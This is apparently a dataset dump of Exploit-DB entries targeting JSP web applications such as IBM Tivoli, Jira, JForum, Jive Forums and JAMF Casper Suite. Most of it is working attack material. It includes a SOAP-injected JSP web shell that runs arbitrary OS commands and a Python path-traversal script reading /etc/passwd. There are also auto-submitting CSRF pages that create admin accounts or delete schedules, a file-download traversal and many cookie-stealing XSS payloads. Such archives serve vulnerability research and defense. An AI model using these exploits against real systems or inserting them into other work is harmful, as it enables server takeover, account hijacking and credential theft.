deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27463
Description: IBM Tivoli Business Systems Manager 3.1 - APWC_Win_Main.jsp Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2006-03-23
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/17210/info

IBM Tivoli Business Systems Manager is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com:9443/TbsmWebConsole/help/en/jsp/apwc_win_main.jsp?skin=[XSS]
Exploit-DB #36002
Description: IBM Tivoli Service Automation Manager 7.2.4 - Remote Code Execution
Type: webapps
Platform: jsp
Date: 2014-12-12
Author: Jakub Palaczynski

Exploit:
# Exploit Title: IBM Tivoli Service Automation Manager Remote Code Execution
# Date: 12\12\2014
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: http://www.ibm.com/
# Version: All versions of IBM Tivoli Service Automation Manager up to 7.2.4
# VU/CVE: VU#782708, CVE-2015-0104

1. Create report
2. Browse to: https://site/maximo/report?__document=/system/path/web/root/shell.jsp&__report=<valid_report_name>&appname=<valid_appname>&__requestid=&reportNum=
3. Catch SOAP request generated by submitting form from previous step and inject JSP payload. Sample SOAP request:

POST /maximo/report?__document=/system/path/web/root/shell.jsp&__report=<valid_report_name>&appname=<valid_appname>&__requestid=&__sessionId=<valid_sessionid> HTTP/1.1

Host: site
Content-Length: xxx

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetUpdatedObjects xmlns="http://schemas.eclipse.org/birt"><Operation><Target><Id>Document</Id><Type>Document</Type></Target><Operator>GetPage</Operator><Oprand><Name>where</Name><Value>aaaaaaaaaaaaaaaaaaaaaa<![CDATA[<%@ page import="java.util.*,java.io.*"%> 

<% 

      try {

      String cmd; 

String[] cmdarr; 

String OS = System.getProperty("os.name"); 

    if (request.getParameter("cmd") != null) { 

        cmd = new String (request.getParameter("cmd")); 

      if (OS.startsWith("Windows")) { 

       cmdarr = new String [] {"cmd", "/C", cmd}; 

      } 

      else { 

       cmdarr = new String [] {"/bin/sh", "-c", cmd}; 

      } 

      Process p = Runtime.getRuntime().exec(cmdarr); 

      OutputStream os = p.getOutputStream(); 

      InputStream in = p.getInputStream(); 

      DataInputStream dis = new DataInputStream(in); 

      String disr = dis.readLine(); 

      while ( disr != null ) { 

        out.println(disr); 

        disr = dis.readLine(); 

      } 

    } 

      } catch (Exception e) { e.printStackTrace();}      

%>]]>aaaaaaaaaaaaaaaaaaaaaa</Value></Oprand><Oprand><Name>__isdisplay__where</Name><Value></Value></Oprand><Oprand><Name>appname</Name><Value>APPNAME</Value></Oprand><Oprand><Name>__isdisplay__appname</Name><Value>APPNAME</Value></Oprand><Oprand><Name>usepagebreaks</Name><Value>true</Value></Oprand><Oprand><Name>__isdisplay__usepagebreaks</Name><Value>true</Value></Oprand><Oprand><Name>__page</Name><Value>1</Value></Oprand><Oprand><Name>__svg</Name><Value>true</Value></Oprand><Oprand><Name>__page</Name><Value>1</Value></Oprand><Oprand><Name>__taskid</Name><Value></Value></Oprand></Operation></GetUpdatedObjects></soap:Body></soap:Envelope>

4. Web shell is now ready to use in path specified in __document parameter's value
Exploit-DB #34179
Description: IBM Websphere ILOG JRules 6.7 - Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2010-06-21
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/41030/info

IBM WebSphere ILOG JRules is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects version 6.7. 


The following example input to the URI is available:
?<script>alert(31521);</script>?
Exploit-DB #37802
Description: IFOBS - 'regclientprint.jsp' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: jsp
Date: 2012-09-15
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/55561/info

IFOBS is prone to multiple HTML-injection vulnerabilities.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible. 

IFOBS XSS-1.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="secondName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-2.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="firstName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-3.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="thirdName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-4.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthDay" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-5.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthMonth" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html>
Exploit-DB #36929
Description: Ilient SysAid 8.5.5 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: jsp
Date: 2012-03-08
Author: Julien Ahrens

Exploit:
source: https://www.securityfocus.com/bid/52356/info

Ilient SysAid is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Ilient SysAid 8.5.05 is vulnerable; other versions may also be affected. 

HTML injection:
<tablewidth="100%"cellspacing="5"cellpadding="5"border="0"class="Maxed">
<tbody><trvalign="top"><tdwidth="50%"style="padding:10px;"id="Container_1"><tableclass="MaxedContainerContainer_1">
<tbody><tr>
<tdclass="Container_Header">
<table>
<tbody><tr>
<tdclass="Container_Header_First">
<tdclass="Container_Header_Center">
Administratorsonline
</td><tdclass="Container_Header_Last">
</td>

</tr>
</tbody></table></td>
</tr>
<tr>
<tdclass="Container_Body">
<divclass="BorderFix_FFForm_Ctrl_Label">
<br/>
1Users<br/>
JulienAhrens<EXCUTES PERSISTENT SCRIPt CODE HERE!></div></td></tr></tbody></table></td></tr></tbody>
</table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></body></html>



Cross-site scripting:

http://www.example.com:8080/sysaid/CustomizeListView.jsp?listName=Assets&listViewName=<script>alert(document.cookie)</script>

or base64 encoded:
http://www.example.com:8080/sysaid/CustomizeListView.jsp?listName=Service%20Requests&srType=1&listViewName= () 
BASE64@PHNjcmlwdD5hb
GVydChlc2NhcGUoZG9jdW1lbnQuY29va2llKSk8L3NjcmlwdD4=



Non-persistent(listViewName):

<tdcolspan="6"class="Frame_Body_Center">
<tablewidth="100%"border="0"class="Maxed">

<tbody><trvalign="top">
<tdstyle="padding:10px;"id="Conainer_1">
<tablewidth=""cellspacing="0"cellpadding="0"border="0">
<tbody><tr>
<td>
<tablewidth="100%"cellspacing="0"cellpadding="0"border="0"class="MaxedContainerContainer_1">

<tbody><tr>
<tdclass="Container_Header">

<table>
<tbody><tr>
<tdclass="Container_Header_First"/>
<tdclass="Container_Header_Center">
<palign="center"style="font-size:16px;">Customizelist-Assets-<EXCUTES PERSISTENT SCRIPt CODE HERE> 

</p></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr>
</tbody></table></td></tr></tbody></table></form></body></html>
Exploit-DB #30676
Description: InnovaPortal - 'msg.jsp?msg' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-10-15
Author: JosS

Exploit:
source: https://www.securityfocus.com/bid/26084/info
 
InnovaShop is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/path/msg.jsp?msg=[XSS]
Exploit-DB #30675
Description: InnovaPortal - 'tc/contents/home001.jsp?contentid' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-10-15
Author: JosS

Exploit:
source: https://www.securityfocus.com/bid/26084/info

InnovaShop is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/tc/contents/home001.jsp?contentid=[XSS]
Exploit-DB #21545
Description: JAMF Casper Suite MDM - Cross-Site Request Forgery
Type: webapps
Platform: jsp
Date: 2012-09-27
Author: Jacob Holcomb

Exploit:
CVE-2012-4051 - JAMF Casper Suite MDM CSRF Vulnerability

# Exploit Title: JAMF Software's Casper Suite MDM Solution CSRF
# Date: Discovered and reported July 2012
# Author: Jacob Holcomb/Gimppy042
# Software JAMF Software Casper Suite (http://jamfsoftware.com/products/casper-suite)
# CVE : CVE-2012-4051 for the CSRF 


<head>
<title>PwNd JAMF Casper Admin CSRF BY:Jacob Holcomb</title>
</head>

<body>

<form name="csrf" 
action="https://CASPERSUITE_SERVER:8443/editAccount.html" method="post">
<input type="hidden" name="view" value="Save"/>
<input type="hidden" name="source" value="jss"/>
<input type="hidden" name="lastPage" value="editAccountGeneral.jsp"/>
<input type="hidden" name="lastTab" value="Account"/>
<input type="hidden" name="username" value="Gimppy"/>
<input type="hidden" name="realname" value="Pwnd"/>
<input type="hidden" name="email" value="Admin"/>
<input type="hidden" name="phone" value="Password"/>
<input type="hidden" name="password" value="pwnd1"/>
<input type="hidden" name="vpassword" value="pwnd1"/>
<input type="hidden" name="user_id" value="1"/>
</form>

<script>
document.csrf.submit();
</script>

</body>
</html>


If the HTML parameter/variable "user_id" is changed to a value of negative
one (-1) this request to the web server will create a new user.
Exploit-DB #26700
Description: Java Search Engine 0.9.34 - search.jsp Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2005-12-02
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15687/info

Java Search Engine is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/search.jsp?oe=english&q=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&qor=
Exploit-DB #15596
Description: JCMS 2010 - File Download
Type: webapps
Platform: jsp
Date: 2010-11-22
Author: Beach

Exploit:
#####################################################################################################
#Title:   JCMS 2010 File Download Vulnerability
#Date:    2010-11-22
#Author:  Beach
#Team:    http://www.linux520.com/
#Vendor:  http://www.hanweb.com/
#Language:Java
#Greetz:  Brother
#####################################################################################################
[*]Description:

In /module/download/downfile.jsp ,filename and pathfile didn't verify user's input 
So this vulnerability allows an attacker to download any files .
#####################################################################################################
[*]POC:

http://server/module/download/downfile.jsp?filename=[file_name]&pathfile=[Path/Path/file_name]
#####################################################################################################
[*]I.E:

http://server/module/download/downfile.jsp?filename=downfile.jsp&pathfile=module/download/downfile.jsp
#####################################################################################################
Exploit-DB #21875
Description: Jetty 4.1 Servlet Engine - Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2002-09-28
Author: Skinnay

Exploit:
source: https://www.securityfocus.com/bid/5821/info

Jetty is a freely available, open source Java Web Server and Servlet Container. It is available for Linux, Unix, and Microsoft Windows platforms.

It has been reported that Jetty does not properly sanitize requests. This could result in a user clicking a malicious link that would execute script or HTML code in the security context of the site hosted by the Jetty server. An attacker could exploit this vulnerability to gain authentication cookies, or other sensitive information.

http://www.example.com/%0a%0a<script>alert("jax%20is%20ereet%20:P")</script>.jsp
Exploit-DB #33564
Description: Jetty 6.1.x - JSP Snoop Page Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2009-10-24
Author: aScii

Exploit:
source: https://www.securityfocus.com/bid/37927/info

Jetty is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/jspsnoop/ERROR/%3Cscript%3Ealert(123)%3C/script%3E
http://www.example.com/jspsnoop/IOException/%3Cscript%3Ealert(123)%3C/script%3E
http://www.example.com/jspsnoop/%3Cscript%3Ealert(123)%3C/script%3E
Exploit-DB #38334
Description: JForum - 'jforum.page' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2013-02-26
Author: ZeroDayLab

Exploit:
source: https://www.securityfocus.com/bid/58164/info

JForum is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

JForum 2.1.9 is vulnerable; other versions may also be affected. 

GET/jforum/jforum.page?module=posts&start=0&forum_id=1&quick=1&disable_html=1&action=insertSave4a9d0%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e5d668e3a93160a27e&topic_id=2 HTTP/1.1
Exploit-DB #34092
Description: JForum 2.1.8 - 'bookmarks' Module Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: jsp
Date: 2010-06-06
Author: Adam Baldwin

Exploit:
source: https://www.securityfocus.com/bid/40600/info

JForum is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

JForum 2.1.8 is vulnerable; other versions may also be affected. 

https://www.example.com/forum/bookmarks/insert/2/1.page?action=insertSave&description=<XSS>&module=bookmarks&relation_id=1&relation_type=2&title=<XSS>&visible=1
Exploit-DB #34384
Description: Jira 4.0.1 - Cross-Site Scripting / Information Disclosure
Type: webapps
Platform: jsp
Date: 2010-07-28
Author: MaXe

Exploit:
source: https://www.securityfocus.com/bid/42025/info

Jira is prone to multiple cross-site scripting vulnerabilities and an information disclosure vulnerability because the application fails to sufficiently sanitize user-supplied input.

Attackers can exploit these issues to obtain sensitive information, steal cookie-based authentication information, and execute arbitrary client-side scripts in the context of the browser.

Jira 4.01 is vulnerable; other versions may also be affected. 

http://www.example.com/ViewIssue.jspa?id=[VALID_ID]&watch=true&returnUrl=data:text/html,<script>alert(0)</script>
http://www.example.com/AttachFile!default.jspa?id=[VALID_ID]&returnUrl=javascript:alert(0)';foo='
Exploit-DB #39405
Description: Jive Forums 5.5.25 - Directory Traversal
Type: webapps
Platform: jsp
Date: 2016-02-03
Author: ZhaoHuAn

Exploit:
'''
JiveForums <=5.5.25 Directory Traversal Vulnerability

Description
==========
Jive forums is a widely recognized network community. Its products have been used by global IT giants including IBM, HP, Oracle, Adobe, Cisco, Intel, Amazon, Emc, Mcafee, Rapid7, Fireeye, etc.
The version of JiveForums <=5.5.25 and < 4.0 are vulnerable to a directory traversal security issue, other versions may also be affected.

Details
=======
Product: JiveSoftware
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: https://www.jivesoftware.com

Credits
============
Discovered by: Zhaohuan of Tencent Security
Site: http://security.tencent.com

Affected Products:
=================
Test on  JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
maybe work <= 5.5.25

Exploit:
============
'''

#!/usr/bin/python
# Author: Zhaohuan || http://weibo.com/hackyou
# Google Dork: inurl:servlet/JiveServlet
# Tested on JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
#
# Software Link: https://www.jivesoftware.com

import urllib2
import sys

print "JiveForums <=5.5.25 Directory Traversal Exploit"

if len(sys.argv) != 3:
    print "[-] Trying exploit on : <site> <path>"
    print "[*] Usage: %s http://localhost /jiveforums/" % sys.argv[0]
    sys.exit()

payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg'
print "[+] Trying to request :"+sys.argv[1]+sys.argv[2]+payload
response=urllib2.urlopen(sys.argv[1]+sys.argv[2]+payload)
readvul=response.read()
print readvul


'''
Solution:
============
Update to jiveforums 5.5.30 or the latest version.

More Information:
https://www.jivesoftware.com/services-support/
'''
Exploit-DB #38460
Description: jPlayer - 'Jplayer.swf' Script Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2013-03-29
Author: Malte Batram

Exploit:
source: https://www.securityfocus.com/bid/59030/info

jPlayer is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/Jplayer.swf?id=%3Cimg%20src=x%20onerror=alert\u0028\u0027moin\u0027\u0029%3E&jQuery=document.write
Exploit-DB #38816
Description: JReport - 'dealSchedules.jsp' Cross-Site Request Forgery
Type: webapps
Platform: jsp
Date: 2013-10-25
Author: Poonam Singh

Exploit:
source: https://www.securityfocus.com/bid/63363/info

JReport is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. 

<html>
<body>
<form name="foo" action="https://www.example.com/jreport/jinfonet/dealSchedules.jsp"method="post">
<input type=hidden name="d1" value="2013-08-03%252014%253a20%253a41.29">
<input type=hidden name="cmd" value="cmd_delete_schedules">
<input type=hidden name="taskClass" value="APIDemoDynamicExportTask">
<input type=hidden name="taskUrl" value="schedulePage.jsp%3Fjrs.cmd%3Djrs.get_edit_schd_page%26jrs.task_id%3D2013-08-03%252014%253a20%253a41.29%26jrs.catalog%3D%252fSecurity%252fSecurity.cat%26jrs.report%3D%252fSecurity%252fBank_User%2520Activation.cls%26jrs.path%3D%2FUSERFOLDERPATH%2Fadmin">
<input type=hidden name="jrs.path" value="%2FUSERFOLDERPATH%2Fadmin">
</form>
<script>
document.foo.submit();
</script>
</body>
</html>
Exploit-DB #24773
Description: JSPWiki 2.1 - Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2004-11-24
Author: Jeremy Bae

Exploit:
source: https://www.securityfocus.com/bid/11746/info

It is reported that JSPWiki is susceptible to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated Web pages.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability is reported to exist in version 2.1.120 of JSPWiki. Other versions may also be affected.

http://www.example.com/Search.jsp?query=<script>alert('hi')</script>